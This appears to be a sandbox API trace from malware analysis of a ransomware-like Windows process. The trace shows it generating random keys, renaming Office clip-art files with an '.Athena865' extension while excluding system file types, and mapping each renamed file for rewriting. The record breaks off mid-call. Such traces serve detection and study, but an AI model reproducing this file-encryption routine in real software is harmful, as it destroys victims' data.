MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee0) returned 0x100000 [0121.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.328] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.328] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.329] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00015_.WMF" | out: lpString1="AN00015_.WMF") returned="AN00015_.WMF" [0121.329] lstrlenW (lpString="AN00015_.WMF") returned 12 [0121.329] lstrlenW (lpString="Athena865") returned 9 [0121.329] lstrcmpiW (lpString1="0015_.WMF", lpString2="Athena865") returned -1 [0121.329] lstrlenW (lpString=".dll") returned 4 [0121.329] lstrcmpiW (lpString1="AN00015_.WMF", lpString2=".dll") returned 1 [0121.329] lstrlenW (lpString=".lnk") returned 4 [0121.329] lstrcmpiW (lpString1="AN00015_.WMF", lpString2=".lnk") returned 1 [0121.329] lstrlenW (lpString=".ini") returned 4 [0121.329] lstrcmpiW (lpString1="AN00015_.WMF", lpString2=".ini") returned 1 [0121.329] lstrlenW (lpString=".sys") returned 4 [0121.329] lstrcmpiW (lpString1="AN00015_.WMF", lpString2=".sys") returned 1 [0121.329] lstrlenW (lpString="AN00015_.WMF") returned 12 [0121.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.Athena865") returned 73 [0121.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.330] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4734) returned 1 [0121.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.331] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.331] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.332] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x154 [0121.333] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000 [0121.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.335] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.335] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.336] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00790_.WMF" | out: lpString1="AN00790_.WMF") returned="AN00790_.WMF" [0121.336] lstrlenW (lpString="AN00790_.WMF") returned 12 [0121.336] lstrlenW (lpString="Athena865") returned 9 [0121.336] lstrcmpiW (lpString1="0790_.WMF", lpString2="Athena865") returned -1 [0121.336] lstrlenW (lpString=".dll") returned 4 [0121.336] lstrcmpiW (lpString1="AN00790_.WMF", lpString2=".dll") returned 1 [0121.336] lstrlenW (lpString=".lnk") returned 4 [0121.336] lstrcmpiW (lpString1="AN00790_.WMF", lpString2=".lnk") returned 1 [0121.336] lstrlenW (lpString=".ini") returned 4 [0121.336] lstrcmpiW (lpString1="AN00790_.WMF", lpString2=".ini") returned 1 [0121.336] lstrlenW (lpString=".sys") returned 4 [0121.336] lstrcmpiW (lpString1="AN00790_.WMF", lpString2=".sys") returned 1 [0121.336] lstrlenW (lpString="AN00790_.WMF") returned 12 [0121.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.Athena865") returned 73 [0121.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.338] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5684) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.338] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.339] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.339] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.339] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1940, lpName=0x0) returned 0x154 [0121.341] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1940) returned 0x100000 [0121.344] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.345] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.345] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.346] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00853_.WMF" | out: lpString1="AN00853_.WMF") returned="AN00853_.WMF" [0121.346] lstrlenW (lpString="AN00853_.WMF") returned 12 [0121.346] lstrlenW (lpString="Athena865") returned 9 [0121.346] lstrcmpiW (lpString1="0853_.WMF", lpString2="Athena865") returned -1 [0121.346] lstrlenW (lpString=".dll") returned 4 [0121.346] lstrcmpiW (lpString1="AN00853_.WMF", lpString2=".dll") returned 1 [0121.346] lstrlenW (lpString=".lnk") returned 4 [0121.346] lstrcmpiW (lpString1="AN00853_.WMF", lpString2=".lnk") returned 1 [0121.346] lstrlenW (lpString=".ini") returned 4 [0121.346] lstrcmpiW (lpString1="AN00853_.WMF", lpString2=".ini") returned 1 [0121.346] lstrlenW (lpString=".sys") returned 4 [0121.346] lstrcmpiW (lpString1="AN00853_.WMF", lpString2=".sys") returned 1 [0121.346] lstrlenW (lpString="AN00853_.WMF") returned 12 [0121.346] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.Athena865") returned 73 [0121.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.347] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20578) returned 1 [0121.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.348] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.348] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.348] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5370, lpName=0x0) returned 0x154 [0121.350] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5370) returned 0x100000 [0121.351] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.352] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.352] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.353] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00914_.WMF" | out: lpString1="AN00914_.WMF") returned="AN00914_.WMF" [0121.353] lstrlenW (lpString="AN00914_.WMF") returned 12 [0121.353] lstrlenW (lpString="Athena865") returned 9 [0121.353] lstrcmpiW (lpString1="0914_.WMF", lpString2="Athena865") returned -1 [0121.353] lstrlenW (lpString=".dll") returned 4 [0121.353] lstrcmpiW (lpString1="AN00914_.WMF", lpString2=".dll") returned 1 [0121.353] lstrlenW (lpString=".lnk") returned 4 [0121.353] lstrcmpiW (lpString1="AN00914_.WMF", lpString2=".lnk") returned 1 [0121.353] lstrlenW (lpString=".ini") returned 4 [0121.353] lstrcmpiW (lpString1="AN00914_.WMF", lpString2=".ini") returned 1 [0121.353] lstrlenW (lpString=".sys") returned 4 [0121.353] lstrcmpiW (lpString1="AN00914_.WMF", lpString2=".sys") returned 1 [0121.353] lstrlenW (lpString="AN00914_.WMF") returned 12 [0121.353] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.Athena865") returned 73 [0121.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.355] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10832) returned 1 [0121.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.355] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.356] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.356] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.356] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d50, lpName=0x0) returned 0x154 [0121.358] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d50) returned 0x100000 [0121.359] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.359] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.359] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.360] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00932_.WMF" | out: lpString1="AN00932_.WMF") returned="AN00932_.WMF" [0121.360] lstrlenW (lpString="AN00932_.WMF") returned 12 [0121.360] lstrlenW (lpString="Athena865") returned 9 [0121.360] lstrcmpiW (lpString1="0932_.WMF", lpString2="Athena865") returned -1 [0121.360] lstrlenW (lpString=".dll") returned 4 [0121.360] lstrcmpiW (lpString1="AN00932_.WMF", lpString2=".dll") returned 1 [0121.360] lstrlenW (lpString=".lnk") returned 4 [0121.360] lstrcmpiW (lpString1="AN00932_.WMF", lpString2=".lnk") returned 1 [0121.360] lstrlenW (lpString=".ini") returned 4 [0121.360] lstrcmpiW (lpString1="AN00932_.WMF", lpString2=".ini") returned 1 [0121.360] lstrlenW (lpString=".sys") returned 4 [0121.360] lstrcmpiW (lpString1="AN00932_.WMF", lpString2=".sys") returned 1 [0121.360] lstrlenW (lpString="AN00932_.WMF") returned 12 [0121.360] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.Athena865") returned 73 [0121.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.361] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14428) returned 1 [0121.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.362] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.362] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.362] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.363] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b60, lpName=0x0) returned 0x154 [0121.364] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b60) returned 0x100000 [0121.365] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.366] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.366] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.366] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00965_.WMF" | out: lpString1="AN00965_.WMF") returned="AN00965_.WMF" [0121.366] lstrlenW (lpString="AN00965_.WMF") returned 12 [0121.366] lstrlenW (lpString="Athena865") returned 9 [0121.366] lstrcmpiW (lpString1="0965_.WMF", lpString2="Athena865") returned -1 [0121.367] lstrlenW (lpString=".dll") returned 4 [0121.367] lstrcmpiW (lpString1="AN00965_.WMF", lpString2=".dll") returned 1 [0121.367] lstrlenW (lpString=".lnk") returned 4 [0121.367] lstrcmpiW (lpString1="AN00965_.WMF", lpString2=".lnk") returned 1 [0121.367] lstrlenW (lpString=".ini") returned 4 [0121.367] lstrcmpiW (lpString1="AN00965_.WMF", lpString2=".ini") returned 1 [0121.367] lstrlenW (lpString=".sys") returned 4 [0121.367] lstrcmpiW (lpString1="AN00965_.WMF", lpString2=".sys") returned 1 [0121.367] lstrlenW (lpString="AN00965_.WMF") returned 12 [0121.367] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.Athena865") returned 73 [0121.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.368] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7072) returned 1 [0121.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.368] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.369] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.369] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.369] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ea0, lpName=0x0) returned 0x154 [0121.370] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ea0) returned 0x100000 [0121.371] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.372] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.372] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.372] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01039_.WMF" | out: lpString1="AN01039_.WMF") returned="AN01039_.WMF" [0121.373] lstrlenW (lpString="AN01039_.WMF") returned 12 [0121.373] lstrlenW (lpString="Athena865") returned 9 [0121.373] lstrcmpiW (lpString1="1039_.WMF", lpString2="Athena865") returned -1 [0121.373] lstrlenW (lpString=".dll") returned 4 [0121.373] lstrcmpiW (lpString1="AN01039_.WMF", lpString2=".dll") returned 1 [0121.373] lstrlenW (lpString=".lnk") returned 4 [0121.373] lstrcmpiW (lpString1="AN01039_.WMF", lpString2=".lnk") returned 1 [0121.373] lstrlenW (lpString=".ini") returned 4 [0121.373] lstrcmpiW (lpString1="AN01039_.WMF", lpString2=".ini") returned 1 [0121.373] lstrlenW (lpString=".sys") returned 4 [0121.373] lstrcmpiW (lpString1="AN01039_.WMF", lpString2=".sys") returned 1 [0121.373] lstrlenW (lpString="AN01039_.WMF") returned 12 [0121.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.Athena865") returned 73 [0121.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3344) returned 1 [0121.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.375] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.375] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.375] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1010, lpName=0x0) returned 0x154 [0121.376] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1010) returned 0x100000 [0121.377] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.378] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.378] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.379] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01044_.WMF" | out: lpString1="AN01044_.WMF") returned="AN01044_.WMF" [0121.379] lstrlenW (lpString="AN01044_.WMF") returned 12 [0121.379] lstrlenW (lpString="Athena865") returned 9 [0121.379] lstrcmpiW (lpString1="1044_.WMF", lpString2="Athena865") returned -1 [0121.379] lstrlenW (lpString=".dll") returned 4 [0121.379] lstrcmpiW (lpString1="AN01044_.WMF", lpString2=".dll") returned 1 [0121.379] lstrlenW (lpString=".lnk") returned 4 [0121.379] lstrcmpiW (lpString1="AN01044_.WMF", lpString2=".lnk") returned 1 [0121.379] lstrlenW (lpString=".ini") returned 4 [0121.379] lstrcmpiW (lpString1="AN01044_.WMF", lpString2=".ini") returned 1 [0121.379] lstrlenW (lpString=".sys") returned 4 [0121.379] lstrcmpiW (lpString1="AN01044_.WMF", lpString2=".sys") returned 1 [0121.379] lstrlenW (lpString="AN01044_.WMF") returned 12 [0121.379] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.Athena865") returned 73 [0121.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, 